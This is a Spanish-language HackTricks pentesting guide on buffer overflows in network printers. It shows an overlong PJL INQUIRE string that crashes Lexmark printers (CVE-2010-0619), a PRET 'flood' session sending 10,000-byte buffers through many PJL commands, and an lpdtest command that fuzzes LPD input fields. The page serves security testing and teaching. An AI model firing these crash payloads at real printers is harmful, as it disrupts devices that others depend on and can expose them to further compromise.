hacktricks/network-services-pentesting/pentesting-printers/buffer-overflows.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

5.5 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

PJL

Varias impresoras láser Lexmark se bloquean cuando reciben alrededor de 1.000 caracteres como argumento INQUIRE (ver CVE-2010-0619) y enviar alrededor de 3.000 caracteres como argumento SET a la impresora Dell 1720n la bloquea:

@PJL INQUIRE 00000000000000000000000000000000000000000000000000000…

Puedes comprobar si hay desbordamientos de búfer utilizando PRET:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> flood
Buffer size: 10000, Sending: @PJL SET [buffer]
Buffer size: 10000, Sending: @PJL [buffer]
Buffer size: 10000, Sending: @PJL COMMENT [buffer]
Buffer size: 10000, Sending: @PJL ENTER LANGUAGE=[buffer]
Buffer size: 10000, Sending: @PJL JOB NAME="[buffer]"
Buffer size: 10000, Sending: @PJL EOJ NAME="[buffer]"
Buffer size: 10000, Sending: @PJL INFO [buffer]
Buffer size: 10000, Sending: @PJL ECHO [buffer]
Buffer size: 10000, Sending: @PJL INQUIRE [buffer]
Buffer size: 10000, Sending: @PJL DINQUIRE [buffer]
Buffer size: 10000, Sending: @PJL USTATUS [buffer]
Buffer size: 10000, Sending: @PJL RDYMSG DISPLAY="[buffer]"
Buffer size: 10000, Sending: @PJL FSQUERY NAME="[buffer]"
Buffer size: 10000, Sending: @PJL FSDIRLIST NAME="[buffer]"
Buffer size: 10000, Sending: @PJL FSINIT VOLUME="[buffer]"
Buffer size: 10000, Sending: @PJL FSMKDIR NAME="[buffer]"
Buffer size: 10000, Sending: @PJL FSUPLOAD NAME="[buffer]"

Demonio LPD

Permite múltiples vectores definidos por el usuario como nombre de trabajo, nombre de usuario o nombre de host, los cuales pueden no estar suficientemente protegidos. Ya se han descubierto varias vulnerabilidades relacionadas con este mal funcionamiento.

Se puede crear un fuzzer LPD simple para probar la existencia de desbordamientos de búfer utilizando la herramienta lpdtest incluida en PRET. El argumento in establece todos los datos de entrada definidos por el usuario en el protocolo LPD a un cierto valor (en este caso, la salida de Python):

./lpdtest.py printer in "`python -c 'print "x"*150'`"

Puedes encontrar más información sobre estos ataques en http://hacking-printers.net/wiki/index.php/Buffer_overflows

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥